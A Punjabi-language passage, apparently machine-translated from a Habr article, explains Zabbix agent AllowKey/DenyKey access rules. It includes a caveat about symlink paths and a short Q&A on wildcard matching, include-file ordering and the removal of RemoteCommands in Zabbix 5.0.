ਤੁਸੀਂ ਇੱਕ ਫਾਈਲ ਤੱਕ ਪਹੁੰਚ ਤੋਂ ਇਨਕਾਰ ਕਰ ਸਕਦੇ ਹੋ ਅਤੇ ਪੁਸ਼ਟੀ ਕਰ ਸਕਦੇ ਹੋ, ਉਦਾਹਰਨ ਲਈ, ਉਪਯੋਗਤਾ ਦੀ ਵਰਤੋਂ ਕਰਕੇ zabbix_getਫਾਈਲ ਤੱਕ ਪਹੁੰਚ ਤੋਂ ਇਨਕਾਰ ਕੀਤਾ ਗਿਆ ਹੈ।

**

ਨੋਟ. ਪੈਰਾਮੀਟਰ ਵਿੱਚ ਹਵਾਲਿਆਂ ਨੂੰ ਅਣਡਿੱਠ ਕੀਤਾ ਜਾਂਦਾ ਹੈ.

ਇਸ ਸਥਿਤੀ ਵਿੱਚ, ਅਜਿਹੀ ਫਾਈਲ ਤੱਕ ਪਹੁੰਚ ਦੀ ਇਜਾਜ਼ਤ ਇੱਕ ਵੱਖਰੇ ਮਾਰਗ ਦੁਆਰਾ ਦਿੱਤੀ ਜਾ ਸਕਦੀ ਹੈ। ਉਦਾਹਰਨ ਲਈ, ਜੇ ਇੱਕ ਸਿਮਲਿੰਕ ਇਸ ਵੱਲ ਲੈ ਜਾਂਦਾ ਹੈ.

ਨਿਰਧਾਰਤ ਨਿਯਮਾਂ ਨੂੰ ਲਾਗੂ ਕਰਨ ਲਈ ਵੱਖ-ਵੱਖ ਵਿਕਲਪਾਂ ਦੀ ਜਾਂਚ ਕਰਨ ਦੀ ਸਿਫਾਰਸ਼ ਕੀਤੀ ਜਾਂਦੀ ਹੈ, ਅਤੇ ਮਨਾਹੀਆਂ ਨੂੰ ਰੋਕਣ ਦੀਆਂ ਸੰਭਾਵਨਾਵਾਂ ਨੂੰ ਵੀ ਧਿਆਨ ਵਿੱਚ ਰੱਖਣਾ ਚਾਹੀਦਾ ਹੈ।

ਸਵਾਲ ਜਵਾਬ

ਸਵਾਲ. ਨਿਯਮਾਂ, ਅਨੁਮਤੀਆਂ ਅਤੇ ਮਨਾਹੀਆਂ ਦਾ ਵਰਣਨ ਕਰਨ ਲਈ ਆਪਣੀ ਭਾਸ਼ਾ ਵਾਲਾ ਅਜਿਹਾ ਗੁੰਝਲਦਾਰ ਪੈਟਰਨ ਕਿਉਂ ਚੁਣਿਆ ਗਿਆ ਸੀ? ਇਹ ਵਰਤਣਾ ਸੰਭਵ ਕਿਉਂ ਨਹੀਂ ਸੀ, ਉਦਾਹਰਨ ਲਈ, ਰੈਗੂਲਰ ਸਮੀਕਰਨ ਜੋ ਜ਼ੈਬਿਕਸ ਵਰਤਦਾ ਹੈ?

ਜਵਾਬ ਦਿਉ. ਇਹ ਇੱਕ regex ਕਾਰਗੁਜ਼ਾਰੀ ਮੁੱਦਾ ਹੈ ਕਿਉਂਕਿ ਇੱਥੇ ਆਮ ਤੌਰ 'ਤੇ ਸਿਰਫ਼ ਇੱਕ ਏਜੰਟ ਹੁੰਦਾ ਹੈ ਅਤੇ ਇਹ ਵੱਡੀ ਗਿਣਤੀ ਵਿੱਚ ਮੈਟ੍ਰਿਕਸ ਦੀ ਜਾਂਚ ਕਰਦਾ ਹੈ। Regex ਕਾਫ਼ੀ ਭਾਰੀ ਕਾਰਵਾਈ ਹੈ ਅਤੇ ਅਸੀਂ ਇਸ ਤਰ੍ਹਾਂ ਹਜ਼ਾਰਾਂ ਮੈਟ੍ਰਿਕਸ ਦੀ ਜਾਂਚ ਨਹੀਂ ਕਰ ਸਕਦੇ ਹਾਂ। ਵਾਈਲਡਕਾਰਡ - ਇੱਕ ਵਿਆਪਕ, ਵਿਆਪਕ ਤੌਰ 'ਤੇ ਵਰਤਿਆ ਅਤੇ ਸਧਾਰਨ ਹੱਲ.

ਸਵਾਲ. ਕੀ ਇਨਕਲੂਡ ਫਾਈਲਾਂ ਵਰਣਮਾਲਾ ਦੇ ਕ੍ਰਮ ਵਿੱਚ ਸ਼ਾਮਲ ਨਹੀਂ ਹਨ?

ਜਵਾਬ ਦਿਉ. ਜਿੱਥੋਂ ਤੱਕ ਮੈਂ ਜਾਣਦਾ ਹਾਂ, ਜੇ ਤੁਸੀਂ ਨਿਯਮਾਂ ਨੂੰ ਵੱਖ-ਵੱਖ ਫਾਈਲਾਂ ਵਿੱਚ ਫੈਲਾਉਂਦੇ ਹੋ ਤਾਂ ਇਸ ਕ੍ਰਮ ਦਾ ਅੰਦਾਜ਼ਾ ਲਗਾਉਣਾ ਲਗਭਗ ਅਸੰਭਵ ਹੈ ਜਿਸ ਵਿੱਚ ਨਿਯਮ ਲਾਗੂ ਹੋਣਗੇ। ਮੈਂ ਸਾਰੇ AllowKey/DenyKey ਨਿਯਮਾਂ ਨੂੰ ਇੱਕ ਇਨਕਲੂਡ ਫਾਈਲ ਵਿੱਚ ਇਕੱਠਾ ਕਰਨ ਦੀ ਸਿਫ਼ਾਰਸ਼ ਕਰਦਾ ਹਾਂ, ਕਿਉਂਕਿ ਉਹ ਇੱਕ ਦੂਜੇ ਨਾਲ ਇੰਟਰੈਕਟ ਕਰਦੇ ਹਨ, ਅਤੇ ਇਸ ਫਾਈਲ ਨੂੰ ਵੀ ਸ਼ਾਮਲ ਕਰਦੇ ਹਨ.

ਸਵਾਲ. Zabbix 5.0 ਵਿੱਚ ਵਿਕਲਪ 'RemoteCommands ਯੋਗ ਕਰੋ=' ਕੌਂਫਿਗਰੇਸ਼ਨ ਫਾਈਲ ਤੋਂ ਗੁੰਮ ਹੈ, ਅਤੇ ਸਿਰਫ AllowKey/DenyKey ਉਪਲਬਧ ਹਨ?

ਜਵਾਬ. ਹਾਂ ਓਹ ਠੀਕ ਹੈ.

ਤੁਹਾਡੇ ਧਿਆਨ ਲਈ ਧੰਨਵਾਦ!

ਸਰੋਤ: www.habr.com